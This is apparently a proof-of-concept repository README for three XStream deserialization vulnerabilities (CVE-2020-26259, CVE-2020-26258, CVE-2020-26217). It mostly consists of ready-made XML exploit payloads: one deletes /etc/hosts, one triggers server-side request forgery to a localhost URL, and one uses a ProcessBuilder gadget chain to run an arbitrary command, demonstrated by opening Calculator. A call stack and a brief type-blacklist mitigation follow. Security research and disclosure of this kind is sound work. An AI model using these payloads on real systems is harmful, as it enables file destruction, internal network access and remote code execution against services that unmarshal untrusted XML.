Associated Vulnerability
Title:XStream 操作系统命令注入漏洞 (CVE-2020-26259)Description:XStream是XStream（Xstream）团队的一个轻量级的、简单易用的开源Java类库，它主要用于将对象序列化成XML（JSON）或反序列化为对象。 XStream 1.1.14版本及之前版本操作系统存在操作系统命令注入漏洞。该漏洞可能允许远程攻击者删除主机上的任意已知文件作为日志。
Description
CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights.
Readme
# CVE-2020-26259
CVE-2020-26259: XStream(1.4.14) is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights.
https://x-stream.github.io/CVE-2020-26259.html
**XStream 1.4.14**
#### pom.xml
```
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.14</version>
</dependency>
</dependencies>
```
## poc
https://x-stream.github.io/CVE-2020-26259.html
```
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/etc/hosts</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
```
# CVE-2020-26258
CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshalling with XStream(1.4.14) to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.
https://x-stream.github.io/CVE-2020-26258.html
#### POC
```
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
```
# CVE-2020-26217
CVE-2020-26217: XStream (1.4.13) can be used for Remote Code Execution.
https://x-stream.github.io/CVE-2020-26217.html
#### pom.xml
```
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.13</version>
</dependency>
</dependencies>
```
#### POC
**Command:** `open -a /Applications/Calculator.app`
```
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>open</string>
<string>-a</string>
<string>/Applications/Calculator.app</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
```
#### 调用栈
```
start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:821, FilterIterator (javax.imageio.spi)
next:839, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:122, NativeString (jdk.nashorn.internal.objects)
hashCode:118, NativeString (jdk.nashorn.internal.objects)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1268, XStream (com.thoughtworks.xstream)
fromXML:1259, XStream (com.thoughtworks.xstream)
main:61, Main
```
## 黑名单 /javax/imageio/ImageIO.java
```
XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
// 首先清除默认设置，然后进行自定义设置
xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class}));
//将ImageIO类加入黑名单
xstream.fromXML(xml);
```
##参考链接
https://www.cnblogs.com/v1ntlyn/p/14034019.html
File Snapshot
[4.0K] /data/pocs/5d733ec0fa29eeca44290eec37b5b5ef6211363e
├── [1.0M] CVE-2020-26217.png
├── [1.5K] CVE_2020_26258.java
├── [1.6K] CVE_2020_26259.java
├── [588K] CVE-2020-26259.png
└── [6.9K] README.md
0 directories, 5 files
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